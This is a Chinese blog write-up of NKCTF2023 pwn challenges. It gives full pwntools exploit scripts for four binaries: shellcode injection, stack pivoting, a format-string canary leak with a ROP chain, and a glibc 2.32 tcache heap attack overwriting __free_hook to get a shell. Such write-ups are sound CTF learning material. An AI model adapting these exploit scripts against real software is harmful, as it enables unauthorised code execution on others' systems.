NKCTF2023 pwn部分wp

T1d 2023-3-27 1,181 3/27

博主太菜了,又恰逢假期,比赛一共两天出去玩加睡觉花了一天半🥹🥹🥹把做了的题简单写个wp记录一下,以后回来争取把剩下的做完吧😵‍💫😵🥵

所有题目文件

ezshellcode

签到题,直接写入shellcode,利用伪随机数计算固定偏移即可

from pwn import *

context(os='linux', arch='amd64')
p = process('./pwn')
# p = remote('node.yuzhian.com.cn', 33393)
shellcode = asm(shellcraft.sh())
payload = b'a' * 84 + shellcode
p.sendline(payload)

p.interactive()

a_story_of_a_pwner

给出了三个连续的bss上的地址,并且打印出了puts的地址,很明显的栈迁移
from pwn import *

# p = process('./story')
p = remote('node.yuzhian.com.cn', 33795)
elf = ELF('./story')
# lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
lib = ELF('./libc.so.6')
# 2->1->3
p.sendline(b'4')
p.recvuntil(b'0x')
puts_addr = int(p.recv(12), 16)
base_addr = puts_addr - lib.symbols['puts']
print(hex(base_addr))
pop_rdi = 0x0000000000401573
system_addr = base_addr + lib.symbols['system']
bin_addr = base_addr + next(lib.search(b'/bin/sh'))
leave_ret = 0x000000000040139e
p.sendline(b'2')
p.sendline(p64(pop_rdi))
p.sendline(b'1')
p.sendline(p64(bin_addr))
p.sendline(b'3')
p.sendline(p64(system_addr))
p.sendline(b'4')
payload = b'a' * 0xa + p64(0x405098) + p64(leave_ret)
p.sendline(payload)
p.interactive()

baby_rop

西湖论剑既视感,第一次利用格式化字符串漏洞打印出canary,第二次输入时发现存在一个offbynull漏洞,可以在填充了canary之后将rbp最后一个字节覆写为0得到一个栈上的地址,查看汇编代码发现存在leave retn,一样利用栈迁移,在栈上填充ret重回main函数;第三次泄露libc地址,第四次与第二次同理填充ret构造rop链即可(不得不吐槽一下,还是给个libc吧,不然那么多一个一个试,你是不知道小涂那晚上有多狼狈🥹)

from pwn import *
context(os='linux', arch='amd64')
# p = process('./baby_rop')
i = 6
while True:
    p = remote('node.yuzhian.com.cn', 35294)
    elf = ELF('./baby_rop')
    libc_addr = './libc/' + str(i) + '.so'
    lib = ELF(libc_addr)
    payload = b'%41$p'
    p.sendline(payload)
    p.recvuntil(b'0x')
    canary = int(p.recv(16), 16)
    print(hex(canary))
    ret = 0x000000000040101a
    payload = p64(ret) * 30 + p64(elf.sym['main']) + p64(canary)
    print(len(payload))
    p.send(payload)
    payload = b'%25$p'
    p.sendline(payload)
    p.recvuntil(b'0x')
    base_addr = int(p.recv(12), 16) - lib.symbols['_IO_2_1_stderr_']
    print(hex(base_addr))
    puts_got = elf.got['puts']
    system_addr = base_addr + lib.symbols['system']
    bin_addr = base_addr + next(lib.search(b'/bin/sh'))
    pop_rdi = 0x0000000000401413
    payload = p64(ret) * 28 + p64(pop_rdi) + p64(bin_addr) + p64(system_addr) + p64(canary)
    try:
        p.sendline(payload)
        sleep(1)
        print(i)
        p.sendline(b'cat flag')
        p.interactive()
    except:
        p.close()

baby_heap

不想玩啦,2.32版本的堆题,菜菜第一次做高版本,不停踩坑,在Loτυs的指导(狠狠批斗)下,赛后复现完成了这道堆题。

先说说高版本的两个改变:

1. tcache和fastbin对fd指针作了加密处理
2. tcache会校验bin中的堆块数量

这道题很明显的存在off-by-one漏洞,利用Overlapping泄露libc地址,然后泄露tcache异或加密的key,把__free_hook写入tcache即可,具体细节可以见代码注释。

from pwn import *

p = process('./baby_heap')
# p = remote('node2.yuzhian.com.cn', 39502)
lib = ELF('./libc-2.32.so')


def add(id_, size_):
    p.recvuntil(b'Your choice:')
    p.sendline(b'1')
    p.recvuntil(b'Enter the index:')
    p.sendline(id_)
    p.recvuntil(b'Enter the Size:')
    p.sendline(size_)


def delete(id_):
    p.recvuntil(b'Your choice:')
    p.sendline(b'2')
    p.recvuntil(b'Enter the index:')
    p.sendline(id_)


def edit(id_, mess):
    p.recvuntil(b'Your choice:')
    p.sendline(b'3')
    p.recvuntil(b'Enter the index:')
    p.sendline(id_)
    p.recvuntil(b'Enter the content:')
    p.sendline(mess)


def show(id_):
    p.recvuntil(b'Your choice:')
    p.sendline(b'4')
    p.recvuntil(b'Enter the index:')
    p.sendline(id_)


add(b'0', b'24')    # 修改下一个堆块的size
add(b'1', b'32')
[add(str(i), b'16') for i in range(2, 7)]
# 填充tcache
[add(str(i), b'192') for i in range(7, 15)]
[delete(str(i)) for i in range(7, 15)]
# 修改下一个堆块的size
payload = b'a' * 24 + p8(0xd1)
edit(b'0', payload)
delete(b'1')    # 进入unsorted bin
# 泄漏libc地址
add(b'1', b'32')
show(b'1')
malloc_hook = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\00')) - 224 - 0x10 - 0x40
addr1 = malloc_hook + 0x10 + 224 - 0x80
base_addr = malloc_hook - lib.sym['__malloc_hook']
free_addr = base_addr + lib.sym['__free_hook']
system_addr = base_addr + lib.sym['system']
# 泄漏tcache加密fd的key
add(b'7', b'16')
delete(b'7')
show(b'2')
key = u64(p.recvuntil(b'\x05')[-5:].ljust(8, b'\00'))
# 修改fd指针指向__free_hook
add(b'7', b'48')
delete(b'4')
payload = b'a' * 0x20 + p64(free_addr ^ key)
edit(b'7', payload)
# 填入/bin/sh
add(b'8', b'16')
add(b'9', b'16')
edit(b'9', p64(system_addr))
edit(b'8', b'/bin/sh\00')
delete(b'8')
# gdb.attach(p)
p.interactive()

 

- THE END -
Tag:

T1d

7月11日18:35

最后修改:2024年7月11日
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论

您必须 后可评论